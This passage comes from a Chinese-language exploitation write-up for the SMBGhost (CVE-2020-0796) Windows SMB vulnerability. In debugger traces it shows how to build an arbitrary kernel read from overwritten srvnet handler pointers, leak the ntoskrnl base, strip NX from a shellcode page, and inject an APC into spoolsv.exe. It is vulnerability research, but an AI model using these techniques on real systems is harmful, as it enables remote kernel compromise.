srvnet!SrvNetWskConnDispatch:
fffff802`57d3d170 50 push rax
fffff802`57d3d171 5a pop rdx
fffff802`57d3d172 d15702 rcl dword ptr [rdi+2],1
fffff802`57d3d175 f8 clc
fffff802`57d3d176 ff ???
fffff802`57d3d177 ff00 inc dword ptr [rax]
fffff802`57d3d179 6e outs dx,byte ptr [rsi]
fffff802`57d3d17a d15702 rcl dword ptr [rdi+2],1
采用同样的方法可获取AcceptSocket偏移0x30处的srvnet!SrvNetWskConnDispatch函数的地址。
### 泄露ntoskrnl基址
**任意地址读**
SrvNetCommonReceiveHandler函数中存在如下代码，其中v10指向SRVNET_RECV结构体，以下代码是对srv2!Srv2ReceiveHandler函数的调用（HandlerFunctions表中的第二项），第一个参数来自于SRVNET_RECV结构体偏移0x128处，第二个参数来自于SRVNET_RECV结构体偏移0x130处。可通过覆盖SRVNET_RECV结构偏移0x118、0x128、0x130处的数据，进行已知函数的调用（参数个数不大于2）。
//srvnet!SrvNetCommonReceiveHandler
v32 = *(_QWORD *)(v10 + 0x118);
v33 = *(_QWORD *)(v10 + 0x130);
v34 = *(_QWORD *)(v10 + 0x128);
*(_DWORD *)(v10 + 0x144) = 3;
v35 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD, _QWORD, __int64, __int64, __int64, __int64, __int64))(v32 + 8))( v34, v33, v8, (unsigned int)v11, v9, a5, v7, a7, v55);
以下为RtlCopyUnicodeString函数部分代码，该函数可通过srvnet!imp_RtlCopyUnicodeString索引，并且只需要两个参数（PUNICODE_STRING结构）。如下所示，PUNICODE_STRING中包含Length、MaximumLength（偏移2）和Buffer（偏移8）。RtlCopyUnicodeString函数会调用memmove将SourceString->Buffer复制到DestinationString->Buffer，复制长度为SourceString->Length和DestinationString->MaximumLength中的最小值。
//RtlCopyUnicodeString
void __stdcall RtlCopyUnicodeString(PUNICODE_STRING DestinationString, PCUNICODE_STRING SourceString)
{
v2 = DestinationString;
if ( SourceString )
{
v3 = SourceString->Length;
v4 = DestinationString->MaximumLength;
v5 = SourceString->Buffer;
if ( (unsigned __int16)v3 <= (unsigned __int16)v4 )
v4 = v3;
v6 = DestinationString->Buffer;
v7 = v4;
DestinationString->Length = v4;
memmove(v6, v5, v4);
//PUNICODE_STRING
typedef struct __UNICODE_STRING_
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
可通过覆盖HandlerFunctions，“替换”srv2!Srv2ReceiveHandler函数指针为nt!RtlCopyUnicodeString函数指针，覆盖DestinationString为已知地址的PUNICODE_STRING结构地址，SourceString为待读取地址的PUNICODE_STRING结构地址，然后通过向该连接继续发送请求实现任意地址数据读取。
**ntoskrnl泄露步骤** 1、首先还是要获取一个ConnectionBufferList的地址，本次调试为0xffffa50834ba42d8。
2、利用任意地址写，将特定数据写入可控的缓冲区（0x2100缓冲区）的已知偏移处。成功复制后，0xffffa50836241658处为0xffffa50836241670，正好指向复制数据的后面，0xffffa50836241668处为0xfffff80257d42210（srvnet!imp_IoSizeofWorkItem），指向nt!IoSizeofWorkItem函数（此次要泄露nt!IoSizeofWorkItem函数地址）。
//要复制的数据
kd> dd ffffa508`36240050
ffffa508`36240050 424d53fc ffffffff 00000001 00000020
ffffa508`36240060 00060006 00000000 36241670 ffffa508
ffffa508`36240070 00060006 00000000 57d42210 fffff802
kd> dd ffffa508`2fe38050+1100 //任意地址写，注意0xffffa5082fe39168处数据
ffffa508`2fe39150 35c3e150 ffffa508 34803a18 ffffa508
ffffa508`2fe39160 00000002 00000000 2fe38050 ffffa508
ffffa508`2fe39170 00001100 00000000 00001278 00000400
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0 test eax,eax
kd> dd ffffa508`2fe38050+1100 //要复制的可控地址（0x18处）
ffffa508`2fe39150 00000000 00000000 00000000 00000000
ffffa508`2fe39160 00000000 00000000 36241650 ffffa508
ffffa508`2fe39170 00001100 00000000 00001278 00000400
kd> g
copy: ffffa508`36241650 00000000`00000000 00000000`00000000
srv2!Srv2DecompressData+0x108:
fffff802`51ce7f68 e85376ffff call srv2!memcpy (fffff802`51cdf5c0)
kd> dd rcx
ffffa508`36241650 00000000 00000000 00000000 00000000
ffffa508`36241660 00000000 00000000 00000000 00000000
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460 mov eax,dword ptr [rsp+60h]
kd> dd ffffa508`36241650 //成功复制
ffffa508`36241650 00060006 00000000 36241670 ffffa508
ffffa508`36241660 00060006 00000000 57d42210 fffff802
//nt!IoSizeofWorkItem函数指针
kd> u poi(fffff80257d42210)
nt!IoSizeofWorkItem:
fffff802`52c7f7a0 b858000000 mov eax,58h
fffff802`52c7f7a5 c3 ret
3、利用任意地址写将srvnet!imp_RtlCopyUnicodeString指针-8的地址写入SRVNET_RECV结构偏移0x118处的HandlerFunctions，这样系统会认为nt!RtlCopyUnicodeString指针是srv2!Srv2ReceiveHandler函数指针。
kd> dd 0xffffa50834ba42d8-58+118 //HandlerFunctions
ffffa508`34ba4398 3479cd18 ffffa508 2f4a6dc0 ffffa508
ffffa508`34ba43a8 34ae4170 ffffa508 34f2a040 ffffa508
kd> u poi(ffffa5083479cd18+8) //覆盖前第二项为srv2!Srv2ReceiveHandler函数指针
srv2!Srv2ReceiveHandler:
fffff802`51cdc3b0 44894c2420 mov dword ptr [rsp+20h],r9d
fffff802`51cdc3b5 53 push rbx
fffff802`51cdc3b6 55 push rbp
fffff802`51cdc3b7 4154 push r12
fffff802`51cdc3b9 4155 push r13
fffff802`51cdc3bb 4157 push r15
fffff802`51cdc3bd 4883ec70 sub rsp,70h
fffff802`51cdc3c1 488b8424d8000000 mov rax,qword ptr [rsp+0D8h]
kd> g
copy: ffffa508`34ba4398 ffffa508`3479cd18 ffffa508`2f4a6dc0
srv2!Srv2DecompressData+0x108:
fffff802`51ce7f68 e85376ffff call srv2!memcpy (fffff802`51cdf5c0)
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460 mov eax,dword ptr [rsp+60h]
kd> dq ffffa508`34ba4398
ffffa508`34ba4398 fffff802`57d42280 ffffa508`2f4a6dc0
ffffa508`34ba43a8 ffffa508`34ae4170 ffffa508`34f2a040
kd> u poi(fffff802`57d42280+8) //覆盖前第二项为nt!RtlCopyUnicodeString函数指针
nt!RtlCopyUnicodeString:
fffff802`52d1c170 4057 push rdi
fffff802`52d1c172 4883ec20 sub rsp,20h
fffff802`52d1c176 488bc2 mov rax,rdx
fffff802`52d1c179 488bf9 mov rdi,rcx
fffff802`52d1c17c 4885d2 test rdx,rdx
fffff802`52d1c17f 745b je nt!RtlCopyUnicodeString+0x6c (fffff802`52d1c1dc)
fffff802`52d1c181 440fb700 movzx r8d,word ptr [rax]
fffff802`52d1c185 0fb74102 movzx eax,word ptr [rcx+2]
4、利用任意地址写分别将两个参数写入SRVNET_RECT结构的偏移0x128和0x130处，为HandlerFunctions中函数的前两个参数。
kd> dd 0xffffa50834ba42d8-58+118
ffffa508`34ba4398 57d42280 fffff802 2f4a6dc0 ffffa508
ffffa508`34ba43a8 36241650 ffffa508 36241660 ffffa508
5、向原始连接发送请求，等待srv2!Srv2ReceiveHandler函数（nt!RtlCopyUnicodeString函数）被调用，函数执行后，nt!IoSizeofWorkItem函数的低6个字节成功被复制到目标地址。
kd> dq ffffa508`36241670
ffffa508`36241670 0000f802`52c7f7a0 00000000`00000000
ffffa508`36241680 00000000`00000000 00000000`00000000
ffffa508`36241690 00000000`00000000 00000000`00000000
kd> u fffff802`52c7f7a0
nt!IoSizeofWorkItem:
fffff802`52c7f7a0 b858000000 mov eax,58h
fffff802`52c7f7a5 c3 ret
6、然后利用之前的方式将这6个字节依次泄露出来，加上0xffff000000000000，减去IoSizeofWorkItem函数在模块中的偏移得到ntoskrnl基址。
### Shellcode复制&&执行
1、获取PTE基址
利用任意地址读读取nt!MiGetPteAddress函数偏移0x13处的地址，低6位即可。然后加上0xffff000000000000得到PTE基址为0xFFFFF10000000000（0xfffff80252d03d39处第二个操作数）。
kd> u nt!MiGetPteAddress
nt!MiGetPteAddress:
fffff802`52d03d28 48c1e909 shr rcx,9
fffff802`52d03d2c 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`52d03d36 4823c8 and rcx,rax
fffff802`52d03d39 48b80000000000f1ffff mov rax,0FFFFF10000000000h
fffff802`52d03d43 4803c1 add rax,rcx
fffff802`52d03d46 c3 ret
d> db nt!MiGetPteAddress + 13 l8
fffff802`52d03d3b 00 00 00 00 00 f1 ff ff ........
2、利用任意地址写将Shellcode复制到0xFFFFF78000000800处，在后续章节会对Shellcode进行进一步分析。
kd> u 0xFFFFF78000000800
fffff780`00000800 55 push rbp
fffff780`00000801 e807000000 call fffff780`0000080d
fffff780`00000806 e819000000 call fffff780`00000824
fffff780`0000080b 5d pop rbp
fffff780`0000080c c3 ret
fffff780`0000080d 488d2d00100000 lea rbp,[fffff780`00001814]
fffff780`00000814 48c1ed0c shr rbp,0Ch
fffff780`00000818 48c1e50c shl rbp,0Ch
3、计算Shellcode的PTE，依然采用nt!MiGetPteAddress函数中的计算公式。((0xFFFFF78000000800 >> 9 ) &
0x7FFFFFFFF8) + 0xFFFFF10000000000 = 0xFFFFF17BC0000000。然后取出Shellcode
PTE偏移7处的字节并和0x7F相与之后放回原处，去除NX标志位。
kd> db fffff17b`c0000000 //去NX标志前
fffff17b`c0000000 63 39 fb 00 00 00 00 80-00 00 00 00 00 00 00 00 c9..............
fffff17b`c0000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
kd> dt _MMPTE_HARDWARE fffff17b`c0000000
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000000111110110011 (0xfb3)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y1
kd> db fffff17b`c0000000 //去NX标志后
fffff17b`c0000000 63 39 fb 00 00 00 00 00-00 00 00 00 00 00 00 00 c9..............
fffff17b`c0000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
kd> dt _MMPTE_HARDWARE fffff17b`c0000000
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000000111110110011 (0xfb3)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y0
4、利用任意地址写将Shellcode地址（0xFFFFF78000000800）放入可控地址，然后采用已知函数调用的方法用指向Shellcode指针的可控地址减8的值覆写HandlerFunctions。使得HandlerFunctions中的srv2!Srv2ReceiveHandler函数指针被覆盖为Shellcode地址。然后向该连接发包，等待Shellcode被调用。另外，由于ntoskrnl基址已经被泄露出来，可以将其作为参数传给Shellcode，在Shellcode中就不需要获取ntoskrnl基址了。
kd> dq ffffa508`34ba42d8-58+118 l1
ffffa508`34ba4398 ffffa508`36241648
kd> u poi(ffffa508`36241648+8)
fffff780`00000800 55 push rbp
fffff780`00000801 e807000000 call fffff780`0000080d
fffff780`00000806 e819000000 call fffff780`00000824
fffff780`0000080b 5d pop rbp
fffff780`0000080c c3 ret
fffff780`0000080d 488d2d00100000 lea rbp,[fffff780`00001814]
fffff780`00000814 48c1ed0c shr rbp,0Ch
fffff780`00000818 48c1e50c shl rbp,0Ch
kd> dq ffffa508`34ba42d8-58+128 l1
ffffa508`34ba43a8 fffff802`52c12000
kd> lmm nt
Browse full module list
start end module name
fffff802`52c12000 fffff802`536c9000 nt (pdb symbols) C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\5A8A70EAE29939EFA17C9FC879FA0D901\ntkrnlmp.pdb
kd> g
Breakpoint 0 hit
fffff780`00000800 55 push rbp
kd> r rcx //ntoskrnl基址
rcx=fffff80252c12000
* * *
# Shellcode分析
本分析参考以下链接：<https://github.com/ZecOps/CVE-2020-0796-RCE-POC/blob/master/smbghost_kshellcode_x64.asm>
### 寻找ntoskrnl.exe基址
获取内核模块基址在漏洞利用中是很关键的事情，在后面会用到它的很多导出函数。这里列出常见的一种获取ntoskrnl.exe基址的思路：
通过KPCR找到IdtBase，然后根据IdtBase寻找中断0的ISR入口点，该入口点属于ntoskrnl.exe模块，所以可以在找到该地址后向前搜索找到ntoskrnl.exe模块基址。
在64位系统中，GS段寄存器在内核态会指向KPCR，KPCR偏移0x38处为IdtBase：
3: kd> rdmsr 0xC0000101
msr[c0000101] = ffffdc81`fe1c1000
3: kd> dt _kpcr ffffdc81`fe1c1000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : 0xffffdc81`fe1d6fb0 _KGDTENTRY64
+0x008 TssBase : 0xffffdc81`fe1d5000 _KTSS64
+0x010 UserRsp : 0x10ff588
+0x018 Self : 0xffffdc81`fe1c1000 _KPCR
+0x020 CurrentPrcb : 0xffffdc81`fe1c1180 _KPRCB
+0x028 LockArray : 0xffffdc81`fe1c1870 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : 0x00000000`00e11000 Void
+0x038 IdtBase : 0xffffdc81`fe1d4000 _KIDTENTRY64
......
+0x180 Prcb : _KPRCB
ISR入口点在_KIDTENTRY64结构体中被分成三部分：OffsetLow、OffsetMiddle 以及 OffsetHigh。其计算公式为：(
OffsetHigh << 32 ) | ( OffsetMiddle << 16 ) | OffsetLow
，如下所示，本次调试的入口地址实际上是0xfffff8004f673d00，该地址位于ntoskrnl.exe模块。
3: kd> dx -id 0,0,ffff818c6286f040 -r1 ((ntkrnlmp!_KIDTENTRY64 *)0xffffdc81fe1d4000)
((ntkrnlmp!_KIDTENTRY64 *)0xffffdc81fe1d4000) : 0xffffdc81fe1d4000 [Type: _KIDTENTRY64 *]
[+0x000] OffsetLow : 0x3d00 [Type: unsigned short]
[+0x002] Selector : 0x10 [Type: unsigned short]
[+0x004 ( 2: 0)] IstIndex : 0x0 [Type: unsigned short]
[+0x004 ( 7: 3)] Reserved0 : 0x0 [Type: unsigned short]
[+0x004 (12: 8)] Type : 0xe [Type: unsigned short]
[+0x004 (14:13)] Dpl : 0x0 [Type: unsigned short]
[+0x004 (15:15)] Present : 0x1 [Type: unsigned short]
[+0x006] OffsetMiddle : 0x4f67 [Type: unsigned short]
[+0x008] OffsetHigh : 0xfffff800 [Type: unsigned long]
[+0x00c] Reserved1 : 0x0 [Type: unsigned long]
[+0x000] Alignment : 0x4f678e0000103d00 [Type: unsigned __int64]
3: kd> u 0xfffff8004f673d00
nt!KiDivideErrorFault:
fffff800`4f673d00 4883ec08 sub rsp,8
fffff800`4f673d04 55 push rbp
fffff800`4f673d05 4881ec58010000 sub rsp,158h
fffff800`4f673d0c 488dac2480000000 lea rbp,[rsp+80h]
fffff800`4f673d14 c645ab01 mov byte ptr [rbp-55h],1
fffff800`4f673d18 488945b0 mov qword ptr [rbp-50h],rax
可直接取IdtBase偏移4处的QWORD值，与0xfffffffffffff000相与，然后进行页对齐向前搜索，直到匹配到魔值"\x4D\x5A"（MZ），此时就得到了ntoskrnl.exe基址。有了ntoskrnl.exe模块的基址，就可以通过遍历导出表获取相关函数的地址。
3: kd> dq 0xffffdc81`fe1d4000+4 l1
ffffdc81`fe1d4004 fffff800`4f678e00
3: kd> lmm nt
Browse full module list
start end module name
fffff800`4f4a7000 fffff800`4ff5e000 nt (pdb symbols) C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\5A8A70EAE29939EFA17C9FC879FA0D901\ntkrnlmp.pdb
3: kd> db fffff800`4f4a7000
fffff800`4f4a7000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
fffff800`4f4a7010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
fffff800`4f4a7020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fffff800`4f4a7030 00 00 00 00 00 00 00 00-00 00 00 00 08 01 00 00 ................
fffff800`4f4a7040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
fffff800`4f4a7050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
fffff800`4f4a7060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
fffff800`4f4a7070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......
### 获取目标KTHREAD结构
在x64系统上（调试环境），KPCR偏移0x180处为KPRCB结构，KPRCB结构偏移8处为_KTHREAD结构的CurrentThread。_KTHREAD结构偏移0x220处为
_KPROCESS结构。KPROCESS结构为EPROCESS的第一项，EPROCESS结构偏移0x488为_LIST_ENTRY结构的ThreadListHead。
3: kd> dt nt!_kpcr ffffdc81`fe1c1000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : 0xffffdc81`fe1d6fb0 _KGDTENTRY64
+0x008 TssBase : 0xffffdc81`fe1d5000 _KTSS64
+0x010 UserRsp : 0x10ff588
+0x018 Self : 0xffffdc81`fe1c1000 _KPCR
+0x020 CurrentPrcb : 0xffffdc81`fe1c1180 _KPRCB
+0x028 LockArray : 0xffffdc81`fe1c1870 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : 0x00000000`00e11000 Void
+0x038 IdtBase : 0xffffdc81`fe1d4000 _KIDTENTRY64
......
+0x180 Prcb : _KPRCB
3: kd> dx -id 0,0,ffff818c6286f040 -r1 (*((ntkrnlmp!_KPRCB *)0xffffdc81fe1c1180))
(*((ntkrnlmp!_KPRCB *)0xffffdc81fe1c1180)) [Type: _KPRCB]
[+0x000] MxCsr : 0x1f80 [Type: unsigned long]
[+0x004] LegacyNumber : 0x3 [Type: unsigned char]
[+0x005] ReservedMustBeZero : 0x0 [Type: unsigned char]
[+0x006] InterruptRequest : 0x0 [Type: unsigned char]
[+0x007] IdleHalt : 0x1 [Type: unsigned char]
[+0x008] CurrentThread : 0xffffdc81fe1d2140 [Type: _KTHREAD *]
3: kd> dx -id 0,0,ffff818c6286f040 -r1 ((ntkrnlmp!_KTHREAD *)0xffffdc81fe1d2140)
((ntkrnlmp!_KTHREAD *)0xffffdc81fe1d2140) : 0xffffdc81fe1d2140 [Type: _KTHREAD *]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] SListFaultAddress : 0x0 [Type: void *]
[+0x020] QuantumTarget : 0x791ddc0 [Type: unsigned __int64]
[+0x028] InitialStack : 0xfffff6074c645c90 [Type: void *]
[+0x030] StackLimit : 0xfffff6074c640000 [Type: void *]
[+0x038] StackBase : 0xfffff6074c646000 [Type: void *]
......
[+0x220] Process : 0xfffff8004fa359c0 [Type: _KPROCESS *]
3: kd> dt _eprocess 0xfffff8004fa359c0
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : (null)
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
......
+0x450 ImageFileName : [15] "Idle"
......
+0x488 ThreadListHead : _LIST_ENTRY [ 0xfffff800`4fa38ab8 - 0xffffdc81`fe1d27f8 ]
* nt!PsGetProcessImageFileName 通过此函数得到ImageFileName在EPROCESS中的偏移（0x450），然后通过一些判断和计算获得ThreadListHead在EPROCESS中的偏移（调试环境为0x488）。
* nt!IoThreadToProcess 从KTHREAD结构中得到KPROCESS（EPROCESS）结构体的地址（偏移0x220处）。然后通过之前计算出的偏移获取ThreadListHead结构，通过访问ThreadListHead结构获取ThreadListEntry（位于ETHREAD），遍历ThreadListEntry以计算KTHREAD（ETHREAD）相对于ThreadListEntry的偏移，自适应相关吧。
kd> u rip
nt!IoThreadToProcess:
fffff805`39a79360 488b8120020000 mov rax,qword ptr [rcx+220h]
fffff805`39a79367 c3 ret
kd> g
Breakpoint 0 hit
fffff780`0000091d 4d29ce sub r14,r9
kd> ub rip
fffff780`00000900 4d89c1 mov r9,r8
fffff780`00000903 4d8b09 mov r9,qword ptr [r9]
fffff780`00000906 4d39c8 cmp r8,r9
fffff780`00000909 0f84e4000000 je fffff780`000009f3
fffff780`0000090f 4c89c8 mov rax,r9
fffff780`00000912 4c29f0 sub rax,r14
fffff780`00000915 483d00070000 cmp rax,700h
fffff780`0000091b 77e6 ja fffff780`00000903
kd> dt _ethread @r14 -y ThreadListEntry
nt!_ETHREAD
+0x6b8 ThreadListEntry : _LIST_ENTRY [ 0xffffca8d`1382f6f8 - 0xffffca8d`1a0d36f8 ]
kd> dq r9 l1
ffffca8d`1a0d2738 ffffca8d`1382f6f8
kd> ? @r9-@r14
Evaluate expression: 1720 = 00000000`000006b8
* nt!PsGetCurrentProcess 通过nt!PsGetCurrentProcess获取当前线程所在进程的指针 （KPROCESS / EPRROCESS 地址），该指针存放在KTHREAD偏移0xB8处：通过KTHREAD偏移0x98访问ApcState；然后通过ApcState（KAPC_STATE结构）偏移0x20访问EPROCESS（KPROCESS）。
kd> u rax
nt!PsGetCurrentProcess:
fffff800`4f5a9ca0 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff800`4f5a9ca9 488b80b8000000 mov rax,qword ptr [rax+0B8h]
fffff800`4f5a9cb0 c3 ret
kd> dt _kthread @rax
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
......
+0x098 ApcState : _KAPC_STATE
kd> dx -id 0,0,ffffca8d10ea3340 -r1 (*((ntkrnlmp!_KAPC_STATE *)0xffffca8d1a0d2118))
(*((ntkrnlmp!_KAPC_STATE *)0xffffca8d1a0d2118)) [Type: _KAPC_STATE]
[+0x000] ApcListHead [Type: _LIST_ENTRY [2]]
[+0x020] Process : 0xffffca8d10ea3340 [Type: _KPROCESS *]
[+0x028] InProgressFlags : 0x0 [Type: unsigned char]
* nt!PsGetProcessId 通过nt!PsGetProcessId函数得到UniqueProcessId在EPROCESS结构中的偏移（0x2e8），然后通过加8定位到ActiveProcessLinks。通过遍历ActiveProcessLinks来访问不同进程的EPROCESS结构，通过比较EPROCESS中ImageFileName的散列值来寻找目标进程（"spoolsv.exe"）。
kd> g
Breakpoint 1 hit
fffff780`0000096e bf48b818b8 mov edi,0B818B848h
kd> dt _EPROCESS @rcx
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : 0x00000000`0000074c Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffca8d`179455f0 - 0xffffca8d`13fa15f0 ]
......
+0x450 ImageFileName : [15] "spoolsv.exe"
* nt!PsGetProcessPeb && nt!PsGetThreadTeb 然后通过调用nt!PsGetProcessPeb，获取"spoolsv.exe"的PEB结构（偏移0x3f8处）并保存起来，然后通过ThreadListHead遍历ThreadListEntry，以寻找一个Queue不为0的KTHREAD（可通过nt!PsGetThreadTeb函数获取TEB结构在KTHREAD结构中的偏移，然后减8得到Queue）。
kd> dt _EPROCESS @rcx
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : 0x00000000`0000074c Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffca8d`179455f0 - 0xffffca8d`13fa15f0 ]
......
+0x3f8 Peb : 0x00000000`00360000 _PEB
......
+0x488 ThreadListHead : _LIST_ENTRY [ 0xffffca8d`18313738 - 0xffffca8d`178e9738 ]
kd> dt _kTHREAD @rdx
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x018 SListFaultAddress : (null)
+0x020 QuantumTarget : 0x3b5dc10
+0x028 InitialStack : 0xfffffe80`76556c90 Void
+0x030 StackLimit : 0xfffffe80`76551000 Void
+0x038 StackBase : 0xfffffe80`76557000 Void
......
+0x0e8 Queue : 0xffffca8d`1307d180 _DISPATCHER_HEADER
+0x0f0 Teb : 0x00000000`00387000 Void
kd> r rdx //目标KTHREAD
rdx=ffffca8d178e9080
kd> dt _ETHREAD @rdx //感觉这个没啥用，先留着
nt!_ETHREAD
+0x000 Tcb : _KTHREAD
......
+0x6b8 ThreadListEntry : _LIST_ENTRY [ 0xffffca8d`18cbe6c8 - 0xffffca8d`16d2e738 ]
### 向目标线程插入APC对象
* nt!KeInitializeApc 通过调用nt!KeInitializeApc函数来初始化APC对象（KAPC类型)。如下所示，第一个参数指明了待初始化的APC对象，第二个参数关联上面的kTHREAD结构，第四个参数为KernelApcRoutine函数指针，第七个参数指明了UserMode：
; KeInitializeApc(PKAPC, //0xfffff78000000e30
; PKTHREAD, //0xffffca8d178e9080
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
; PKKERNEL_ROUTINE = kernel_apc_routine, //0xfffff78000000a62
; PKRUNDOWN_ROUTINE = NULL,
; PKNORMAL_ROUTINE = userland_shellcode, ;fffff780`00000e00
; KPROCESSOR_MODE = UserMode (1),
; PVOID Context); ;fffff780`00000e00
lea rcx, [rbp+DATA_KAPC_OFFSET] ; PAKC
xor r8, r8 ; OriginalApcEnvironment
lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine
push rbp ; context
push 1 ; UserMode
push rbp ; userland shellcode (MUST NOT be NULL)
push r8 ; NULL
sub rsp, 0x20 ; shadow stack
mov edi, KEINITIALIZEAPC_HASH
call win_api_direct
//初始化后的KAPC结构
kd> dt _kapc fffff78000000e30
nt!_KAPC
+0x000 Type : 0x12 ''
+0x001 SpareByte0 : 0 ''
+0x002 Size : 0x58 'X'
+0x003 SpareByte1 : 0 ''
+0x004 SpareLong0 : 0
+0x008 Thread : 0xffffca8d`178e9080 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
+0x020 KernelRoutine : 0xfffff780`00000a62 void +fffff78000000a62
+0x028 RundownRoutine : (null)
+0x030 NormalRoutine : 0xfffff780`00000e00 void +fffff78000000e00
+0x020 Reserved : [3] 0xfffff780`00000a62 Void
+0x038 NormalContext : 0xfffff780`00000e00 Void
+0x040 SystemArgument1 : (null)
+0x048 SystemArgument2 : (null)
+0x050 ApcStateIndex : 0 ''
+0x051 ApcMode : 1 ''
+0x052 Inserted : 0 ''
kd> u 0xfffff780`00000a62 //KernelRoutine
fffff780`00000a62 55 push rbp
fffff780`00000a63 53 push rbx
fffff780`00000a64 57 push rdi
fffff780`00000a65 56 push rsi
fffff780`00000a66 4157 push r15
fffff780`00000a68 498b28 mov rbp,qword ptr [r8]
fffff780`00000a6b 4c8b7d08 mov r15,qword ptr [rbp+8]
fffff780`00000a6f 52 push rdx
* nt!KeInsertQueueApc 然后通过nt!KeInsertQueueApc函数将初始化后的APC对象存放到目标线程的APC队列中。
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
; SystemArgument1 is second argument in usermode code (rdx)
; SystemArgument2 is third argument in usermode code (r8)
lea rcx, [rbp+DATA_KAPC_OFFSET]
;xor edx, edx ; no need to set it here
;xor r8, r8 ; no need to set it here
xor r9, r9
mov edi, KEINSERTQUEUEAPC_HASH
call win_api_direct
kd> dt _kapc fffff78000000e30
nt!_KAPC
+0x000 Type : 0x12 ''
+0x001 SpareByte0 : 0 ''
+0x002 Size : 0x58 'X'
+0x003 SpareByte1 : 0 ''
+0x004 SpareLong0 : 0
+0x008 Thread : 0xffffca8d`178e9080 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY [ 0xffffca8d`178e9128 - 0xffffca8d`178e9128 ]
+0x020 KernelRoutine : 0xfffff780`00000a62 void +fffff78000000a62
+0x028 RundownRoutine : (null)
+0x030 NormalRoutine : 0xfffff780`00000e00 void +fffff78000000e00
+0x020 Reserved : [3] 0xfffff780`00000a62 Void
+0x038 NormalContext : 0xfffff780`00000e00 Void
+0x040 SystemArgument1 : 0x0000087f`fffff200 Void
+0x048 SystemArgument2 : (null)
+0x050 ApcStateIndex : 0 ''
+0x051 ApcMode : 1 ''
+0x052 Inserted : 0x1 ''
然后判断KAPC.ApcListEntry中UserApcPending比特位是否被设置，如果成功，就等待目标线程获得权限，执行APC例程，执行KernelApcRoutine函数。
mov rax, [rbp+DATA_KAPC_OFFSET+0x10] ; get KAPC.ApcListEntry
; EPROCESS pointer 8 bytes
; InProgressFlags 1 byte
; KernelApcPending 1 byte
; * Since Win10 R5:
; Bit 0: SpecialUserApcPending
; Bit 1: UserApcPending
; if success, UserApcPending MUST be 1
test byte [rax+0x1a], 2
jnz _insert_queue_apc_done
kd> p
fffff780`000009e7 f6401a02 test byte ptr [rax+1Ah],2
kd> dt _kapc fffff78000000e30
nt!_KAPC
+0x000 Type : 0x12 ''
+0x001 SpareByte0 : 0 ''
+0x002 Size : 0x58 'X'
+0x003 SpareByte1 : 0 ''
+0x004 SpareLong0 : 0
+0x008 Thread : 0xffffca8d`178e9080 _KTHREAD
